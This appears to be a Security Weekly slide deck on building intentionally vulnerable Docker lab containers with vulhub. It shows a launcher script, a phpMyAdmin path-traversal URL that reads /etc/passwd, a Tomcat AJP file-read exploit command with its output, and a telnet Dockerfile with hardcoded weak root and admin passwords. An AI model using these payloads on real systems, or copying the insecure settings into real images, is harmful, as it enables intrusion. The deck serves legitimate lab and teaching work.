

Building Vulnerable Docker Containers (On Purpose)

Paul Asadoorian

Security
Weekly

So You Want Vulnerabilities?

- <https://github.com/vulhub/vulhub.git> - So many vulnerable containers
- <https://github.com/6point6/vulnerable-docker-launcher> - Script that launches select vulnerable containers
- <https://github.com/Jared-Harrington-Gibbs/Docker-Files> - Telnet in a container
- <https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi> - Tomcat exploit code
- Modifications and all code will be posted to our GitHub page: <https://github.com/securityweekly>



```
#!/bin/bash
## WARNING: THIS SCRIPT CONTAINS SEVERAL CRITICAL VULNERABILITIES.
## FOR TEST PURPOSES ONLY. DO NOT RUN IN A PRODUCTION ENVIRONMENT!!!
## Vulnerables version 0.3
## A script to quickly start and stop docker containers.

DIRECTORY="./vulhub"

# Array of six default containers to start that have been
# carefully select to avoid port number conflicts. In total
# these will consume less than 1GB of system memory.

# HOST:CONTAINER

# Port 8084:
CONTAINERS[0]="$DIRECTORY/phpmyadmin/CVE-2018-12613/docker-compose.yml"

# Port 5000 and 8080:
CONTAINERS[1]="$DIRECTORY/jenkins/CVE-2018-1000861/docker-compose.yml"

# Port 8088: *
CONTAINERS[2]="$DIRECTORY/joomla/CVE-2017-8917/docker-compose.yml"

# Port 20022:
CONTAINERS[3]="$DIRECTORY/openssh/CVE-2018-15473/docker-compose.yml"

# Ports 8081 and 8009
CONTAINERS[4]="$DIRECTORY/tomcat/CVE-2020-1938/docker-compose.yml"

# Ports 23
CONTAINERS[5]="$DIRECTORY/telnetserver/docker-compose.yml"
```



```
# Randomly choose six vulnerable containers to start
#random () {
#
#}

# List all available containers
#list () {
#
#}

# Check system for requirements
init_check () {

    # Check whether vulhub folder exists
    if [[ ! -d $DIRECTORY ]]
    then
        echo "The vulhub folder was not found. Download from https://github.com/vulhub/vulhub"
        exit 1
    fi

    # Check whether docker is installed
    docker --version > /dev/null 2>&1
    if [[ $? -ne 0 ]]
    then
        echo "Docker is not installed. Read: https://docs.docker.com/get-docker/ "
        exit 3
    fi

    # Check whether docker-compose is installed
    docker-compose version > /dev/null 2>&1
    if [[ $? -ne 0 ]]
    then
        echo "Docker-compose is not installed. Read: https://docs.docker.com/compose/install/"
        exit 3
    fi
}
}
```



```
# Start each container with docker-compose
start () {
    for i in "${CONTAINERS[@]}"
    do
        docker-compose -f "${i}" up -d
        if [[ $? -ne 0 ]]
        then
            exit 1 # Exit docker engine is not running
        fi
    done
}

dump () {
    for i in "${CONTAINERS[@]}"
    do
        cat "${i}"
    done
}

stop () {
    for i in "${CONTAINERS[@]}"
    do
        docker-compose -f "${i}" down -v
        if [[ $? -ne 0 ]]
        then
            echo "You may need to manually disable container(s) using docker."
            echo "To show running containers type: docker ps"
            #exit 1 # Exit docker engine is not running
        fi
    done
}
```



```
if [[ $1 == "start" ]]
then
    init_check
    echo "Starting all docker containers..."
    start
elif [[ $1 == "stop" ]]
then
    init_check
    echo "Stopping all docker containers ..."
    stop
elif [[ $1 == "dump" ]]
then
    echo "Dumping all docker container configs ..."
    dump
elif [[ $1 == "list" ]]
then
    echo -e "Listing all available Docker containers from vulhub."
    # TODO: List all the available Docker containers. Check if they are running.
else
    echo -e "\n\e[31m\e[1mVulnerables\e[0m: a quick and simple way of starting multiple Docker containers
from vulhub.\n"
    echo -e "Usage: $0 [start or stop]\n"
fi
```





localhost:8084

phpMyAdmin

Recent Favorites

- information_schema
- test

Server: mysql:3306

Databases SQL Status Export Import Settings Variables Charsets Engines Plugins

General settings

Server connection collation: utf8mb4_unicode_ci

Appearance settings

Language: English

Theme: pmahomme

Font size: 82%

[More settings](#)

Database server

- Server: mysql (mysql via TCP/IP)
- Server type: MySQL
- Server connection: **SSL is not being used**
- Server version: 5.5.62 - MySQL Community Server (GPL)
- Protocol version: 10
- User: test@192.168.176.3
- Server charset: UTF-8 Unicode (utf8)

Web server

- Apache/2.4.25 (Debian)
- Database client version: libmysql - mysqlnd 5.0.12-dev - 20150407 - \$id: 38fea24f2847fa7519001be390c98ae0acafe387 \$
- PHP extension: mysqli curl mbstring
- PHP version: 7.2.5

phpMyAdmin

- Version information: 4.8.1
- [Documentation](#)
- [Official Homepage](#)
- [Contribute](#)
- [Get support](#)
- [List of changes](#)
- [License](#)

The phpMyAdmin configuration storage is not completely configured, some extended features have been deactivated. [Find out why.](#)
Or alternately go to 'Operations' tab of any database to set it up there.




The screenshot shows the phpMyAdmin interface in a browser. The address bar contains the URL: `localhost:8084/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd`. The interface includes a navigation menu on the left with 'Recent' and 'Favorites' buttons, and a list of databases: 'information_schema' and 'test'. The main content area displays the output of a SQL query, listing system users and their home directories and shells. The output is as follows:

```
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr
/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var
/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/false
```




`http://localhost:8084/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd`



← → ↻ localhost:8080 ☆

 ? log in

Jenkins > [ENABLE AUTO REFRESH](#)

-  People
-  Build History
-  Credentials

Welcome to Jenkins!

[Log in](#) to create new jobs.

Build Queue -

No builds in the queue.

Build Executor Status -

- 1 Idle
- 2 Idle



Joomla! is free software released under the [GNU General Public License](#).

- 1 Configuration
- 2 Database
- 3 Overview

Select Language English (United States) ▾

→ Next

Main Configuration

Site Name *

Enter the name of your Joomla! site.

Description

Enter a description of the overall website that is to be used by search engines. Generally, a maximum of 20 words is optimal.

Super User Account Details

Email *

Enter an email address. This will be the email address of the website Super User.

Username *

Set the username for your Super User account.

Password *

Set the password for your Super User account and confirm it in the field below.

Confirm Administrator Password *

Site Offline Yes No

Set the site Frontend offline when installation is completed. The site can be set online later on through the Global Configuration.

→ Next






localhost:8081

Home Documentation Configuration Examples Wiki Mailing Lists Find Help

Apache Tomcat/9.0.30

APACHE SOFTWARE FOUNDATION
http://www.apache.org/

If you're seeing this, you've successfully installed Tomcat. Congratulations!



Recommended Reading:

- [Security Considerations How-To](#)
- [Manager Application How-To](#)
- [Clustering/Session Replication How-To](#)

Server Status
Manager App
Host Manager

Developer Quick Start

- [Tomcat Setup](#)
- [Realms & AAA](#)
- [Examples](#)
- [Servlet Specifications](#)
- [First Web Application](#)
- [JDBC DataSources](#)
- [Tomcat Versions](#)

Managing Tomcat

For security, access to the [manager webapp](#) is restricted. Users are defined in:

```
$CATALINA_HOME/conf/tomcat-users.xml
```

In Tomcat 9.0 access to the manager application is split between different users. [Read more...](#)

[Release Notes](#)

[Changelog](#)

[Migration Guide](#)

[Security Notices](#)

Documentation

[Tomcat 9.0 Documentation](#)

[Tomcat 9.0 Configuration](#)

[Tomcat Wiki](#)

Find additional important configuration information in:

```
$CATALINA_HOME/RUNNING.txt
```

Developers may be interested in:

- [Tomcat 9.0 Bug Database](#)
- [Tomcat 9.0 JavaDocs](#)
- [Tomcat 9.0 Git Repository at GitHub](#)

Getting Help

[FAQ and Mailing Lists](#)

The following mailing lists are available:

- [tomcat-announce](#)
Important announcements, releases, security vulnerability notifications. (Low volume).
- [tomcat-users](#)
User support and discussion
- [taglibs-user](#)
User support and discussion for [Apache Taglibs](#)
- [tomcat-dev](#)
Development mailing list, including commit messages

<h4>Other Downloads</h4> <ul style="list-style-type: none"> Tomcat Connectors Tomcat Native Taglibs Deployer 	<h4>Other Documentation</h4> <ul style="list-style-type: none"> Tomcat Connectors mod_jk Documentation Tomcat Native Deployer 	<h4>Get Involved</h4> <ul style="list-style-type: none"> Overview Source Repositories Mailing Lists Wiki 	<h4>Miscellaneous</h4> <ul style="list-style-type: none"> Contact Legal Sponsorship Thanks 	<h4>Apache Software Foundation</h4> <ul style="list-style-type: none"> Who We Are Heritage Apache Home Resources
--	---	--	--	--

Copyright ©1999-2021 Apache Software Foundation. All Rights Reserved

```
pal@kali:~/kali$ ./CNVD-2020-10487-Tomcat-Ajp-lfi.py 127.0.0.1 -p 8009 -f WEB-INF/web.xml
```

```
Getting resource at ajp13://127.0.0.1:8009/asdf
```

```
-----
```

```
<?xml version="1.0" encoding="UTF-8"?>
```

```
<!--
```

```
Licensed to the Apache Software Foundation (ASF) under one or more  
contributor license agreements. See the NOTICE file distributed with  
this work for additional information regarding copyright ownership.  
The ASF licenses this file to You under the Apache License, Version 2.0  
(the "License"); you may not use this file except in compliance with  
the License. You may obtain a copy of the License at
```

```
http://www.apache.org/licenses/LICENSE-2.0
```

```
Unless required by applicable law or agreed to in writing, software  
distributed under the License is distributed on an "AS IS" BASIS,  
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.  
See the License for the specific language governing permissions and  
limitations under the License.
```

```
-->
```

```
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"  
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee  
    http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
```

```
  version="4.0"  
  metadata-complete="true">
```

```
  <display-name>Welcome to Tomcat</display-name>
```

```
  <description>
```

```
    Welcome to Tomcat
```

```
  </description>
```

```
</web-app>
```





```
root@kali:~# ssh -p 20022 root@localhost  
root@localhost's password:
```

```
The programs included with the Debian GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.
```

```
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.
```

```
root@4d52163006bf:~# █
```

```
FROM ubuntu:18.04
```

```
RUN apt-get update && \  
    DEBIAN_FRONTEND=noninteractive apt-get -y install openssl telnetd xinetd && \  
    apt-get autoremove -y && \  
    apt-get autoclean -y && \  
    rm -rf /var/lib/apt/lists/*
```

```
RUN useradd -rm -d /home/admin -s /bin/bash -p $(openssl passwd -1 cisco) admin
```

```
RUN echo "root:toor" | chpasswd
```

```
RUN echo "# default: on \  
# description: The telnet server serves telnet sessions; it uses unencrypted username/password pairs for authentication. \  
service telnet \  
{ \  
    disable = no \  
    flags = REUSE \  
    socket_type = stream \  
    wait = no \  
    user = root \  
    server = /usr/sbin/in.telnetd \  
    log_on_failure += USERID \  
}" | tee -a /etc/xinetd.d/telnet && \  
rm -f /etc/securetty
```

```
version: '3.7'  
services:  
  telnetserver:  
    build: .  
    tty: true  
    ports:  
      - "23:23"
```

```
ENTRYPOINT ["bash"]
```

```
CMD ["-c", "xinetd -dontfork -stayalive"]
```





```
admin@17d0335328f8:~$ telnet localhost
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Ubuntu 18.04.6 LTS
17d0335328f8 login: admin
Password:
Last login: Wed Nov 17 15:38:06 UTC 2021 from wopr on pts/1
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.11.0-40-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
admin@17d0335328f8:~$
```